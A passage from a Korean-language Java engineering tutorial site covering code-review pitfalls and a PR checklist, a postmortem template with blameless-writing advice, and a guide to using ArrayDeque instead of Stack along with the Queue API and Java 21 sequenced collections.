    log.error(e.getMessage());                 // 스택 · 원인 · 맥락 전부 사라짐
    return null;                               // 호출자는 성공인 줄 앎
}

catch (IOException e) {
    throw new RuntimeException("결제 실패");   // cause 를 안 넘김 — 근본 원인 유실
}

@Transactional
public void refund(Long id) throws IOException { ... }
// ↑ 체크 예외(IOException)는 기본적으로 롤백되지 않습니다

log.info("로그인 요청: " + loginRequest);       // record toString 에 password 포함
items.forEach(i -> log.info("처리 {}", i));     // 10만 건 = 로그 10만 줄
✅ 맥락과 원인을 남기고, 필요한 것만 찍기
try {
    paymentClient.approve(req);
} catch (ResourceAccessException e) {
    // 맥락(주문번호) + 원인(e) — 마지막 인자로 예외를 넘기면 스택이 찍힘
    throw new PaymentFailedException("approve 실패 orderId=" + req.orderId(), e);
}

@Transactional(rollbackFor = Exception.class)  // 체크 예외도 롤백
public void refund(Long id) throws IOException { ... }

// 처리하는 '그 자리'에서 한 번만 로그 — 던지면서 또 찍지 않기
@ExceptionHandler(PaymentFailedException.class)
ProblemDetail onPayment(PaymentFailedException e) {
    log.error("결제 실패", e);
    return ProblemDetail.forStatus(HttpStatus.BAD_GATEWAY);
}

log.info("로그인 요청 userId={}", loginRequest.userId());
log.info("일괄 처리 완료 total={} failed={}", total, failed);   // 요약 한 줄

갈래 ⑤⑥ — 쿼리 · 타임아웃 🔴 실무

❌ 전부 가져와서 거르기 · 기본값 클라이언트
// 오늘은 1,000건, 1년 뒤엔 300만 건 → OOM (OPS 03)
List<Order> all = orderRepository.findAll();
List<Order> mine = all.stream()
        .filter(o -> o.getMemberId().equals(memberId)).toList();

for (Order o : mine) {
    o.getItems().size();                      // 주문마다 쿼리 1개 — N+1 (OPS 06)
}

RestTemplate rt = new RestTemplate();         // 연결 · 읽기 타임아웃 없음
HttpClient client = HttpClient.newHttpClient();
future.get();                                 // 상한 없는 대기
✅ DB 가 거르고 · 페이지로 자르고 · 상한을 둠
@Query("""
       select distinct o from Order o
       join fetch o.items
       where o.memberId = :memberId
       """)
List<Order> findWithItems(Long memberId);    // 쿼리 1개

Page<Order> page = orderRepository
        .findByMemberId(memberId, PageRequest.of(0, 50));   // 상한 50

RestClient client = builder.requestFactory(factoryWithTimeouts).build(); // OPS 07
future.get(2, TimeUnit.SECONDS);
cf.orTimeout(2, TimeUnit.SECONDS);            // CompletableFuture 상한

PR 템플릿에 붙일 체크리스트

질문확인 방법
싱글턴 빈에 가변 필드가 생겼나?private 비-final 필드 검색
"읽고 → 검사 → 쓰기"가 동시에 와도 되나?조건부 UPDATE · 락 · 유니크 제약
트랜잭션 안에 HTTP · 메시지 발행 · 파일이 있나?@Transactional 메서드 본문
자기 호출로 애너테이션이 무시되지 않나?this. 로 부르는 프록시 메서드
catch 에서 예외를 버리지 않나?cause 전달 · 빈 catch 금지
로그에 비밀 · 개인정보 · 객체 통째가 없나?+ obj · {} 에 DTO
목록 조회에 상한(페이지)이 있나?findAll() · 무제한 IN
연관 컬렉션을 루프에서 건드리나?쿼리 개수 테스트 (OPS 06)
새 외부 호출에 타임아웃 · 재시도 정책이 있나?클라이언트 빈 설정
스키마 변경이 이전 버전 앱과 호환되나?expand-contract (OPS 09)
새 설정값에 검증 · 기본값이 있나?@Validated (OPS 10)
장애 시 알아챌 지표 · 로그가 있나?RED 지표 · 에러 로그 (OPS 08)

리뷰 코멘트 — 사람이 아니라 코드에

❌ "이거 왜 이렇게 짰어요? 동시성 모르세요?"

✅ "[필수] 이 decrease() 는 요청 두 개가 동시에 오면
    둘 다 재고 검사를 통과할 수 있어 재고가 음수가 됩니다.
    조건부 UPDATE(… WHERE stock >= :qty)로 바꾸면 DB 가 원자적으로
    막아 줍니다. 참고: OPS 12 동시성 예시"

✅ "[제안] 로그에 loginRequest 를 통째로 넘기면 password 가
    찍힙니다. userId 만 남기면 어떨까요?"

✅ "[질문] 이 외부 호출의 읽기 타임아웃은 어디서 정해지나요?"
[필수] · [제안] · [질문] 머리표를 붙이면 작성자가 무엇을 반드시 고쳐야 하는지 바로 압니다. 필수는 장애 · 보안 · 데이터 손상에만 씁니다. 취향은 [제안] 입니다.
정리 — 리뷰는 동시성 · 트랜잭션 경계 · 예외 · 로깅 · 쿼리 · 타임아웃 여섯 갈래부터. 전부 테스트를 통과하고 운영에서만 터지는 것들입니다. 체크리스트를 PR 템플릿에 넣고, 코멘트는 [필수]/[제안]/[질문]으로 구분해 코드와 결과에 대해 씁니다.
OPS 13

포스트모템 쓰기 — 같은 장애를 두 번 겪지 않는 법

장애는 복구로 끝나지 않습니다. 왜 일어났고, 왜 늦게 알았고, 무엇을 바꿔서 다음엔 막을지를 글로 남겨야 같은 장애가 반복되지 않습니다. 포스트모템의 목적은 범인을 찾는 것이 아니라 시스템의 빈칸을 찾는 것입니다. 이 섹션은 바로 쓸 수 있는 템플릿과, 쓰면서 흔히 빠지는 함정을 다룹니다.

타임라인 — 위는 시스템이 한 일, 아래는 사람이 한 일 01:58 02:06 02:14 02:21 02:29 02:39 배포 v2.41 풀 대기 시작 p99 상승 지표 정상 알람 · 대응 시작 롤백 결정 종료 선언 감지 8분 영향 23분 시각은 로그 · 알람 · 채팅 기록에서 옮겨 적습니다 — 기억으로 쓰면 반드시 틀립니다
타임라인 — 증상 시작과 감지 사이의 빈칸(8분)이 보통 가장 싸게 줄일 수 있는 구간입니다.

포스트모템 템플릿 — 복사해서 쓰기

# [SEV2] 주문 API 지연 — 2026-09-30

## 요약 (3줄)
- 01:58 배포된 쿠폰 조회 쿼리가 인덱스 없는 조건을 써서 커넥션을 오래 점유
- 02:06~02:29 주문 생성 p99 4.8s, 5xx 2.1% (약 3,100건 실패)
- 롤백으로 복구. 재발 방지 액션 4건

## 영향
- 사용자: 주문 생성 실패 약 3,100건 (재시도 성공 2,400건)
- 매출: 추정 손실 약 OOO만 원 / 외부 공지: 없음

## 타임라인 (KST, 출처: 알람 · 배포 로그 · 채팅)
01:58 v2.41 배포 완료
02:06 hikaricp pending 상승 시작 (지표)
02:14 5xx 알람 수신, IC 김OO
02:21 롤백 결정 → 02:29 지표 정상 → 02:39 종료 선언

## 원인 (기여 요인 — 하나가 아닐 수 있음)
1. 변경: coupon(user_id, status) 조건에 인덱스 없음
2. 감지: 풀 대기(pending) 알람이 없어 5xx 가 쌓인 뒤에야 알람
3. 방어: connection-timeout 30s — 빨리 실패하지 못해 스레드 고갈

## 잘된 점 / 운이 좋았던 점
- 배포 30분 규칙대로 원인 확인 전 롤백 → 복구 8분

## 액션 아이템
| # | 유형 | 내용 | 담당 | 기한 | 티켓 |
| 1 | 감지 | Hikari pending > 0 3분 알람 | 이OO | 10/04 | OPS-412 |
| 2 | 예방 | PR 템플릿에 실행계획 항목 | 박OO | 10/07 | OPS-413 |
| 3 | 완화 | connection-timeout 3s | 김OO | 10/04 | OPS-414 |
| 4 | 예방 | coupon 인덱스 추가 | 김OO | 10/02 | OPS-415 |

숫자로 남길 것 — 장애 지표 네 개

지표구간이번줄이는 수단
TTD증상 → 감지8분알람 (OPS 08)
TTA감지 → 대응 시작0분당번 · 호출 체계
TTM증상 → 완화23분롤백 · 플래그 (OPS 01)
TTR증상 → 근본 해결2일액션 아이템
분기마다 이 숫자들을 모아 보세요 — 장애 건수보다 TTD · TTM 추세가 팀의 운영 실력을 더 정직하게 보여 줍니다. 건수는 운에 좌우되지만, 감지와 완화 속도는 준비한 만큼 줄어듭니다.

비난 없는 문장으로 쓰기

❌ 사람을 주어로
"김OO 이 인덱스를 확인하지 않고 배포했다."
✅ 시스템을 주어로
"인덱스 없는 쿼리가 리뷰 · CI 어디에서도 걸리지 않고 배포될 수 있었다."

한 단계 더 — 5 Whys 의 한계와 기여 요인 트리 🟡 중급

한 줄로 파면 사람에서 멈추고, 갈래로 나누면 고칠 곳이 여럿 나옵니다 왜 느렸나 → 풀 고갈 왜 고갈 → 쿠폰 쿼리가 느림 왜 느림 → 인덱스 없는 조건 왜 없었나 → 리뷰에서 못 봄 왜 못 봤나 → 담당자 부주의 한 줄로 가면 '사람'에서 멈춥니다 주문 API 지연 23분 변경 쿼리 변경 · 인덱스 없음 감지 풀 대기 알람 없음 방어 풀 타임아웃 30초 실행계획 리뷰 PR 템플릿 항목 pending 알람 3분 지속 시 호출 타임아웃 3초 빨리 실패 · 서킷 갈래마다 고칠 것이 하나씩 — 어느 하나만 있었어도 짧게 끝났습니다 5 Whys 는 질문 도구로 쓰고, 결론은 사람이 아니라 '시스템의 빈칸'에서 멈춥니다
트리 — 원인은 대개 하나가 아닙니다. 변경 · 감지 · 방어 중 어느 한 겹만 있었어도 장애가 짧아졌다는 것이 액션 아이템의 근거가 됩니다.

좋은 액션 아이템 · 나쁜 액션 아이템

❌ 흔히 쓰는 것✅ 이렇게 바꾸기
"앞으로 더 주의한다"사람의 주의 대신 장치: CI 검사 · 알람 · 기본값
"모니터링 강화""hikaricp_connections_pending > 0 3분 알람 추가"
담당 · 기한 없음이름 한 명 + 날짜 + 티켓 번호
"시스템 전면 개편" 하나2주 안에 끝나는 크기로 쪼개기
예방만 10개예방 · 감지 · 완화 유형을 골고루
닫히지 않는 액션 아이템이 가장 흔한 실패입니다. 포스트모템 문서 안에만 있으면 잊힙니다. 반드시 평소 쓰는 이슈 트래커에 티켓으로 만들고, 주간 회의에서 남은 개수를 확인하세요.

5 Whys 를 쓸 때 지킬 것

① "왜"마다 답이 여러 개면 전부 적고 갈래를 나눕니다
   (한 줄만 따라가면 나머지 원인이 버려짐)

② 답이 '사람'에 닿으면 질문을 바꿉니다
   "왜 실수했나"  →  "왜 그 실수가 막히지 않았나"

③ 답마다 증거(지표 · 로그 · 커밋)를 붙입니다
   증거 없는 답은 가설 칸에 따로 둡니다

④ "운이 좋았던 점"도 적습니다
   새벽이라 트래픽이 적었다 → 낮이었다면? → 그것도 액션 후보

실무에선 이렇게 — 리뷰 회의 30분과 그 뒤 🔴 실무

회의 진행 순서 (30분)

시간내용
5분요약 · 영향 낭독 (문서는 회의 전에 공유)
10분타임라인 함께 보며 빈칸 · 놀란 점 표시
10분기여 요인 트리 · 액션 아이템 합의
5분담당 · 기한 확정, 공유 범위 결정
언제까지 쓰나 — SEV1 · SEV2 는 5영업일 안에 초안, 같은 주에 리뷰가 보통입니다. 기억과 로그 보존 기간이 짧기 때문에 늦어질수록 타임라인이 부정확해집니다.

포스트모템이 쌓이면 하는 일

분기마다 포스트모템을 모아 '유형'으로 셉니다

  유형                 건수   대표 액션
  커넥션 풀 · 타임아웃     5    기본 타임아웃 템플릿화 (OPS 07)
  배포 · 스키마 호환      3    expand-contract 체크 (OPS 09)
  메모리 · OOM           2    힙 비율 표준값 (OPS 04)
  설정 실수              2    @Validated 의무화 (OPS 10)

→ 같은 유형이 3번 넘으면 개별 수정이 아니라
  '팀 표준'(템플릿 · 린트 · 기본 설정)으로 올립니다
이 탭의 런북도 포스트모템에서 자랍니다 — 장애를 겪을 때마다 OPS 01 의 표와 명령어를 팀 위키 런북에 한 줄씩 더하세요. 다음 당번은 새벽 세 시에 그 한 줄로 10분을 법니다.
정리 — 포스트모템은 요약 · 영향 · 타임라인(기록 기반) · 기여 요인 · 액션 아이템 다섯 칸. 문장의 주어는 사람이 아니라 시스템, 원인은 한 줄이 아니라 변경 · 감지 · 방어의 갈래로 나누고, 액션 아이템은 담당 · 기한 · 티켓이 있어야 진짜입니다. TTD · TTM 추세가 팀의 운영 실력입니다.
JAVA 25 LTS · ArrayDeque · PriorityQueue · BlockingQueue · SequencedCollection · 가상 스레드

Stack 은
이제 그만,
Deque 로 쌓는다

자바에서 스택을 만들 때 아직도 new Stack<>() 을 쓰는 코드가 많습니다. 하지만 2026년 현업 코드는 거의 전부 Deque<E> st = new ArrayDeque<>() 한 줄로 스택과 큐를 함께 처리합니다. 이 탭은 자료구조 이론이 아니라 자바 API 를 어떻게 고르고 쓰는지를 다룹니다. Stack 이 왜 밀려났는지(순회 순서까지 실제 출력으로 확인합니다), ArrayDeque 의 원형 배열이 JDK 25 소스에서 어떻게 생겼는지, PriorityQueue 의 함정, 그리고 가상 스레드 시대의 BlockingQueue 생산자-소비자까지 순서대로 봅니다. 모든 예제는 JDK 25.0.1 에서 직접 돌려 출력 주석을 맞췄습니다.

12SECTIONS
25기준 LTS
17시각화
100%실행해 본 예제
SQ 01

한 장 지도 — 무엇으로 쌓고 무엇으로 줄 세우나

자바에는 스택·큐 구실을 하는 클래스가 열다섯 개가 넘습니다. 1996년부터 하나씩 쌓였기 때문입니다. 그런데 새 코드에서 실제로 고르는 것은 다섯 개 안팎입니다. 먼저 지도를 펴 놓고, 나머지 섹션에서 하나씩 뜯어 봅니다. 컬렉션 전체의 기초(List·Map·Set 고르기)는 Java 기초 탭 JAVA 08에 있으니 여기서는 반복하지 않습니다.

무엇을 쓸까 — 마름모가 질문, 초록 상자가 2026년의 답입니다 여러 스레드가 같이 쓰나? 예 BlockingQueue 계열 SQ 06 · 비면·차면 기다림 아니오 우선순위대로 꺼내나? 예 PriorityQueue 최소 힙 · SQ 05 아니오 넣은 쪽에서 다시 꺼내나? 예 · LIFO ArrayDeque — 스택 push · pop · peek 아니오 · FIFO ArrayDeque — 큐 offer · poll · peek 새 코드에 쓰지 않는 것 Stack · Vector → ArrayDeque (SQ 02) LinkedList 를 큐로 → ArrayDeque (SQ 09) synchronized 로 감싼 큐 → BlockingQueue (SQ 06) list.remove(0) 으로 꺼내기 → ArrayDeque (SQ 03) 단일 스레드라면 답은 거의 항상 아래 셋 중 하나 스택과 큐가 같은 클래스(ArrayDeque)라는 점이 자바의 가장 큰 특징입니다
결정 흐름도 — 단일 스레드면 ArrayDeque 또는 PriorityQueue, 여러 스레드면 BlockingQueue. 나머지는 거의 다 레거시입니다.
하려는 일2026 권장 (선언 타입 = 구현)쓰지 말 것한 줄 이유
스택 (LIFO)Deque<E> = new ArrayDeque<>()Stack, VectorStack 은 List 라 중간을 건드릴 수 있고, 순회가 바닥부터 나옵니다 (SQ 02)
큐 (FIFO)Queue<E> = new ArrayDeque<>()LinkedList, ArrayList.remove(0)노드 할당·O(n) 이동 없이 원형 배열 한 장 (SQ 03·04)
덱 (양끝)Deque<E> = new ArrayDeque<>()LinkedList양끝 연산 분할 상환 O(1), 캐시에 친화적
우선순위 큐new PriorityQueue<>(Comparator...)TreeSet 로 흉내TreeSet 은 같은 값(비교 결과 0)을 하나만 남깁니다 (SQ 05)
스레드 간 작업 전달ArrayBlockingQueue(n) · LinkedBlockingQueue(n)Collections.synchronizedList + while 폴링put/take 가 대기·깨우기를 대신해 줍니다 (SQ 06)
락 없는 공유 큐ConcurrentLinkedQueue · ConcurrentLinkedDequeStack (동기화 = 안전, 이라는 착각)메서드 하나하나만 원자적이라 "비었나 보고 꺼내기"는 깨집니다 (SQ 10)
지연 실행 · 재시도DelayQueue · ScheduledExecutorServiceThread.sleep 루프준비된 것만 꺼내 줍니다 (SQ 12)
비동기 스트림 버퍼SubmissionPublisher · Reactor Sinks무한 버퍼배압(backpressure)이 없으면 결국 OOM (SQ 07)
자바의 스택·큐 API 는 이렇게 쌓였습니다 — 맨 왼쪽 것만 30년째 그대로입니다 Stack · Vector 1.0 · 1996 1.2 · 1998 LinkedList BlockingQueue 계열 Queue · PriorityQueue 5 · 2004 6 · 2006 Deque · ArrayDeque LinkedTransferQueue 7 · 2011 9 · 2017 Flow · SubmissionPublisher 가상 스레드 SequencedCollection 21 · 2023 25 · 2025 현행 LTS · 이 탭 기준 Stack 의 Javadoc 은 Java 6 부터 "Deque 를 우선해서 쓰라"고 적어 두었습니다
타임라인 — Stack 은 Deque 보다 10년 먼저 나왔을 뿐입니다. Java 6 부터 20년째 대체재가 있습니다.

선언은 인터페이스, 생성은 ArrayDeque

import java.util.*;

public class Map01 {
    public static void main(String[] args) {
        Deque<Integer> stack = new ArrayDeque<>();   // 스택
        Queue<String>  queue = new ArrayDeque<>();   // 큐 (같은 클래스!)
        Deque<String>  deque = new ArrayDeque<>();   // 덱

        stack.push(1); stack.push(2);
        queue.offer("a"); queue.offer("b");
        deque.offerFirst("x"); deque.offerLast("y");

        System.out.println(stack.pop());     // 2
        System.out.println(queue.poll());    // a
        System.out.println(deque.pollLast()); // y
    }
}
왜 Queue 로 선언하나 — 큐로 쓸 변수를 Queue<E> 로 받으면 push·pollLast 같은 "큐답지 않은" 메서드가 자동완성에서 사라집니다. 타입으로 용도를 좁히는 것이 이 탭 전체의 습관입니다.

인터페이스 계층 — 누가 누구를 확장하나

Collection
 └─ SequencedCollection        (Java 21) addFirst/addLast/getFirst/getLast
     │                                    removeFirst/removeLast/reversed
     ├─ List ── ArrayList, LinkedList, Vector ── Stack
     └─ Deque  (Java 6)  ← Queue 도 확장
         ├─ ArrayDeque              (단일 스레드 기본)
         ├─ LinkedList              (List 이면서 Deque)
         ├─ ConcurrentLinkedDeque   (락 없음)
         └─ BlockingDeque ── LinkedBlockingDeque

Queue (Java 5)
 ├─ PriorityQueue                   (힙)
 └─ BlockingQueue
     ├─ ArrayBlockingQueue · LinkedBlockingQueue
     ├─ PriorityBlockingQueue · DelayQueue
     └─ SynchronousQueue · TransferQueue ── LinkedTransferQueue
Stack 은 List 쪽에 매달려 있습니다. Deque 계보와 아무 관계가 없습니다. 그래서 Deque<E> d = new Stack<>() 은 컴파일조차 되지 않습니다.

한 단계 더 — "ArrayDeque 하나로 다 된다"의 예외 🟡 중급

이럴 때는ArrayDeque 대신
null 을 원소로 넣어야 한다ArrayList 를 스택으로(addLast/removeLast, Java 21) 또는 Optional·센티널 객체로 감싸기
인덱스로 중간을 읽어야 한다 (get(i))ArrayList — ArrayDeque 에는 get(int) 이 없습니다
원소가 수백만 개인 int·long직접 만든 int[] 스택 · fastutil IntArrayList (SQ 09)
여러 스레드가 동시에 넣고 뺀다BlockingQueue · ConcurrentLinkedDeque (SQ 06)
크기가 고정이고 넘치면 오래된 것을 버린다ArrayDeque + 크기 검사 몇 줄 (SQ 12) — 표준 라이브러리에 링 버퍼 클래스는 없습니다
정리 — 단일 스레드에서는 ArrayDeque(스택·큐·덱) + PriorityQueue(우선순위) 두 개로 끝납니다. 스레드가 끼면 유한 BlockingQueue 입니다.
SQ 02

스택 — Stack 이 사장된 진짜 이유와 ArrayDeque 관용구

"Stack 은 synchronized 라서 느리다"가 흔한 설명이지만, 실제로 더 큰 이유는 설계입니다. Stack 은 Vector 를 상속한 탓에 스택이 아닌 일(중간 삽입·인덱스 수정)을 허락하고, 순회 순서가 바닥→꼭대기라 디버깅 출력부터 헷갈립니다. 실제 출력으로 확인합니다.

1, 2, 3 을 push 한 뒤 for-each 로 돌리면 — 동그라미 숫자가 나오는 순서 Stack (extends Vector) ArrayDeque (Deque) 3 ← 꼭대기 2 1 ← 바닥 1 2 3 출력 [1, 2, 3] — pop 순서의 반대 add(0, 99) · set(1, -1) 도 그냥 됩니다 3 ← 꼭대기 2 1 ← 바닥 1 2 3 출력 [3, 2, 1] — pop 순서와 같음 get(i) 도 add(i, x) 도 없습니다 꼭대기(peek)는 둘 다 3 — 다른 것은 순회 방향과 "중간을 만질 수 있느냐"입니다 로그에 스택을 찍어 볼 때 Stack 은 거꾸로 읽어야 합니다
좌우 대조 — ArrayDeque 는 꺼낼 순서대로 보여 주고, Stack 은 쌓은 순서대로 보여 줍니다.

실제 출력으로 확인 — StackOrder.java

import java.util.*;

public class StackOrder {
    public static void main(String[] args) {
        Stack<Integer> legacy = new Stack<>();
        Deque<Integer> st = new ArrayDeque<>();
        for (int i = 1; i <= 3; i++) {   // 1, 2, 3 순서로 쌓는다
            legacy.push(i);
            st.push(i);
        }
        System.out.println(legacy.peek() + " " + st.peek()); // 3 3
        System.out.println(legacy);                    // [1, 2, 3]  바닥→꼭대기
        System.out.println(st);                        // [3, 2, 1]  꼭대기→바닥
        System.out.println(legacy.stream().toList());  // [1, 2, 3]
        System.out.println(st.stream().toList());      // [3, 2, 1]
        System.out.println(new ArrayList<>(legacy).getFirst()); // 1 (바닥)
        System.out.println(new ArrayList<>(st).getFirst());     // 3 (꼭대기)

        // Stack 은 List 이기도 해서 '중간'을 건드릴 수 있다
        legacy.add(0, 99);                  // 바닥 밑에 끼워 넣기
        legacy.set(2, -1);                  // 중간 값 바꾸기
        legacy.remove(Integer.valueOf(3));  // 꼭대기를 pop 없이 지우기
        System.out.println(legacy);              // [99, 1, -1]
        System.out.println(legacy.search(99));   // 3 (꼭대기에서 1부터 센 거리)
    }
}

Stack 을 버리는 이유 네 가지

이유설명
불변식이 안 지켜짐extends Vector 라서 add(i,x)·set·remove(i)·get(i) 가 전부 열려 있습니다. "꼭대기에서만 넣고 뺀다"를 컴파일러가 막아 주지 못합니다
순회 순서가 반대toString·for-each·stream 이 바닥부터. new ArrayList<>(stack) 으로 옮겨도 바닥이 0번입니다
쓸모없는 동기화모든 메서드가 synchronized. 그런데 if (!s.empty()) s.pop() 같은 두 단계 동작은 여전히 경쟁합니다. 비용만 내고 안전은 못 삽니다
공식 문서가 권하지 않음Javadoc: "A more complete and consistent set of LIFO stack operations is provided by the Deque interface ... which should be used in preference to this class."
"느려서"는 생각보다 약한 근거입니다. 지역 변수로만 쓰는 Stack 은 JIT 이 락을 지워 버려서 단일 스레드 벤치에서 ArrayDeque 와 비슷하게 나오기도 합니다(SQ 09 실측). Stack 을 버리는 핵심은 API 가 스택을 지켜 주지 않는다는 점입니다.

관용구 — push · pop · peek 과 First 계열의 대응 🟢 기초

스택 동작Deque 스택 메서드같은 뜻의 First 메서드비었을 때옛 Stack
위에 쌓기push(e)addFirst(e)—push(e)
위에서 꺼내기pop()removeFirst()NoSuchElementExceptionpop() → EmptyStackException
꺼내되 비면 nullpoll()pollFirst()null없음
위를 보기만peek()peekFirst()nullpeek() → EmptyStackException
위를 보되 비면 예외element()getFirst()NoSuchElementException—
비었나isEmpty()——empty() (이름도 다름)
Deque 의 "앞(First)"이 스택의 꼭대기입니다. push = addFirst, pop = removeFirst, peek = peekFirst. 그래서 같은 ArrayDeque 에 push 와 offer(=addLast)를 섞으면 스택도 큐도 아닌 것이 됩니다. 한 변수에는 한 가지 어휘만 쓰세요.

빈 스택 처리 — 예외냐 null 이냐

Deque<Integer> st = new ArrayDeque<>();

// ① 비면 버그인 곳 — 예외가 맞다 (빨리 실패)
int top = st.pop();           // NoSuchElementException

// ② 비는 게 정상인 곳 — poll/peek 의 null
Integer maybe = st.poll();    // null
if (maybe != null) use(maybe);

// ③ 반환값으로 내보낼 때 — Optional 로 감싸기
Optional<Integer> peekTop(Deque<Integer> s) {
    return Optional.ofNullable(s.peek());   // null 금지라 이 변환이 안전
}

// ④ 루프는 isEmpty 로 — 가장 흔하고 가장 읽기 쉽다
while (!st.isEmpty()) {
    int x = st.pop();
    // ...
}

Java 21+ — List 도 스택이 될 수 있다

// Java 21 SequencedCollection: ArrayList 에도 addLast/removeLast/getLast
List<String> path = new ArrayList<>();
path.addLast("home");          // push
path.addLast("docs");
path.addLast("java");
System.out.println(path.getLast());     // java   (peek)
System.out.println(path.removeLast());  // java   (pop, 분할 상환 O(1))
System.out.println(path);               // [home, docs]  ← 바닥부터, 경로 출력엔 오히려 자연스럽다
System.out.println(String.join("/", path)); // home/docs
ArrayList 스택이 나은 경우 — null 을 넣어야 할 때, get(i) 로 중간을 읽어야 할 때, "바닥부터 출력"이 오히려 자연스러울 때(파일 경로·호출 경로). 끝 쪽(Last)만 쓰면 O(1) 입니다. removeFirst 를 쓰는 순간 O(n) 이 되니 큐로는 쓰지 마세요.

마이그레이션 — Stack 을 ArrayDeque 로 바꿀 때 걸리는 세 곳 🟡 중급

기계적으로 바꾸면 깨지는 코드
Stack<Frame> calls = new Stack<>();
// ...
for (Frame f : calls) log(f);       // ① 바닥부터 찍던 로그가 뒤집힌다
Frame caller = calls.get(calls.size() - 2); // ② get 이 없다 → 컴파일 오류
calls.push(null);                   // ③ ArrayDeque 는 NPE
if (calls.empty()) { }              // ④ empty() → isEmpty()
의도를 살려 바꾼 코드
Deque<Frame> calls = new ArrayDeque<>();
// ...
for (Frame f : calls.reversed()) log(f);   // ① Java 21 뷰 — 바닥부터 그대로
Frame caller = calls.stream().skip(1).findFirst().orElseThrow(); // ② 위에서 두 번째
calls.push(Frame.NONE);                    // ③ null 대신 센티널 객체
if (calls.isEmpty()) { }                   // ④
정리 — 스택은 Deque<E> st = new ArrayDeque<>() 에 push·pop·peek 만. 순회는 꼭대기부터 나오고, 중간 접근은 애초에 불가능합니다 — 그게 장점입니다.
SQ 03

큐(FIFO) — 예외형과 특수값형, 그리고 큐가 아닌 큐

Queue 인터페이스는 같은 일을 하는 메서드를 두 벌 가지고 있습니다. 실패를 예외로 알리는 add·remove·element 와, 특수값(false·null)으로 알리는 offer·poll·peek 입니다. 어느 쪽을 쓰느냐가 코드의 의도를 드러냅니다. 그리고 ArrayDeque 가 null 을 거부하는 이유도 바로 여기에 있습니다.

Queue 메서드 12칸 — 진한 칸이 평소에 쓰는 것, 오른쪽 두 열은 BlockingQueue 전용 실패 시 예외 특수값 반환 무한 대기 시간 제한 대기 넣기 (뒤로) add(e) offer(e) → false put(e) offer(e, 1, SECONDS) 꺼내기 (앞에서) remove() poll() → null take() poll(1, SECONDS) 보기만 element() peek() → null 없음 없음 모든 Queue · Deque BlockingQueue 만 (SQ 06) 특수값 열이 기본 — 실패(가득 참·비었음)가 정상 흐름의 일부이기 때문입니다 예외 열은 "비어 있으면 버그"인 곳에서 빨리 실패하려고 씁니다
행렬 — 같은 동작이 네 가지 실패 방식으로 나뉩니다. 평소엔 offer · poll · peek.

두 벌의 차이 — QueueApi.java

import java.util.*;
import java.util.concurrent.*;

public class QueueApi {
    public static void main(String[] args) {
        Queue<String> q = new ArrayDeque<>();
        q.offer("A"); q.offer("B"); q.offer("C");
        System.out.println(q.peek());   // A
        System.out.println(q.poll());   // A
        System.out.println(q);          // [B, C]
        q.clear();
        System.out.println(q.poll());   // null — 비었음을 null 로 알림
        try { q.remove(); }
        catch (NoSuchElementException e) { System.out.println("remove -> NoSuchElementException"); }

        // 용량이 정해진 큐에서 add/offer 의 차이가 드러난다
        Queue<String> bounded = new ArrayBlockingQueue<>(2);
        System.out.println(bounded.offer("x"));  // true
        System.out.println(bounded.offer("y"));  // true
        System.out.println(bounded.offer("z"));  // false — 가득 참
        try { bounded.add("z"); }
        catch (IllegalStateException e) { System.out.println("add -> " + e.getMessage()); } // add -> Queue full
    }
}
ArrayDeque 는 용량 제한이 없어서 add 와 offer 의 차이가 보이지 않습니다. 용량 있는 큐로 바꿔 끼울 수도 있는 코드라면 처음부터 offer 를 쓰고 반환값을 확인하세요.

ArrayDeque 는 왜 null 을 거부하나

Queue<String> q = new ArrayDeque<>();
q.offer(null);                // NullPointerException — 넣는 순간 막는다

Queue<String> ll = new LinkedList<>();
ll.offer(null);               // LinkedList 는 받아 준다
System.out.println(ll.size() + " " + ll.poll()); // 1 null  ← 값이 null
System.out.println(ll.poll());                   // null    ← 비어서 null
// 두 null 을 구분할 방법이 없다!
poll()·peek() 의 null 은 "비었음"이라는 신호입니다. 원소로 null 을 허락하면 그 신호가 깨집니다. 그래서 ArrayDeque·PriorityQueue·모든 concurrent 큐는 null 을 넣는 순간 NPE 를 던집니다. 내부 구현도 "빈 칸 = null" 을 전제로 짜여 있습니다(SQ 04).
"값이 없음"을 넣어야 한다면 Optional<T> 를 원소로 하거나, 레코드 센티널(record Empty() implements Msg)을 만드세요.

큐가 아닌 큐 — 앞에서 꺼낼 때 O(n) 이 되는 것들 🟢 기초

ArrayList 를 큐로
List<Job> jobs = new ArrayList<>();
jobs.add(job);               // 뒤에 넣기 O(1)
Job next = jobs.remove(0);   // 앞에서 빼기 — 뒤의 n-1 개를 한 칸씩 당긴다 O(n)
Job next2 = jobs.removeFirst(); // Java 21 이름만 바뀌었을 뿐 똑같이 O(n)

// 10만 건이면 이동 횟수 ≈ 10만²/2 = 50억
ArrayDeque 를 큐로
Queue<Job> jobs = new ArrayDeque<>();
jobs.offer(job);             // 뒤에 넣기 — 분할 상환 O(1)
Job next = jobs.poll();      // 앞에서 빼기 — head 인덱스만 한 칸 O(1)

// 원소를 옮기지 않는다. 배열 칸을 null 로 비우고 head 를 옮길 뿐 (SQ 04)
구현offer (뒤)poll (앞)메모
ArrayDeque분할 상환 O(1)O(1)기본값. null 금지. 스레드 안전 아님
LinkedListO(1)O(1)복잡도는 같지만 원소마다 노드 객체 할당 — 실측 수 배 느림 (SQ 09)
ArrayList (remove(0))분할 상환 O(1)O(n)큐로 쓰면 안 됨
PriorityQueueO(log n)O(log n)FIFO 가 아니라 우선순위 순 (SQ 05)
ArrayBlockingQueueO(1) + 락O(1) + 락용량 고정. 스레드 간 전달용 (SQ 06)

Java 21 — SequencedCollection 이 덱에 준 것 🟡 중급

getFirst · getLast · reversed (Java 21, JEP 431)

Deque<Integer> d = new ArrayDeque<>(List.of(1, 2, 3));
d.addFirst(0); d.addLast(4);
System.out.println(d.getFirst() + " " + d.getLast()); // 0 4

Deque<Integer> rev = d.reversed();  // 복사가 아니라 '뒤집힌 뷰'
System.out.println(rev);            // [4, 3, 2, 1, 0]
rev.addFirst(9);                    // 뷰의 앞 = 원본의 뒤
System.out.println(d);              // [0, 1, 2, 3, 4, 9]
System.out.println(d.removeFirst() + " " + d.removeLast()); // 0 9

new ArrayDeque<Integer>().getFirst(); // NoSuchElementException

무엇이 새로 생겼고 무엇이 원래 있었나

메서드DequeList (ArrayList 등)
addFirst/addLastJava 6 부터Java 21 신규
getFirst/getLastJava 6 부터Java 21 신규
removeFirst/removeLastJava 6 부터Java 21 신규
reversed()Java 21 신규 (반환 타입 Deque)Java 21 신규 (반환 타입 List)
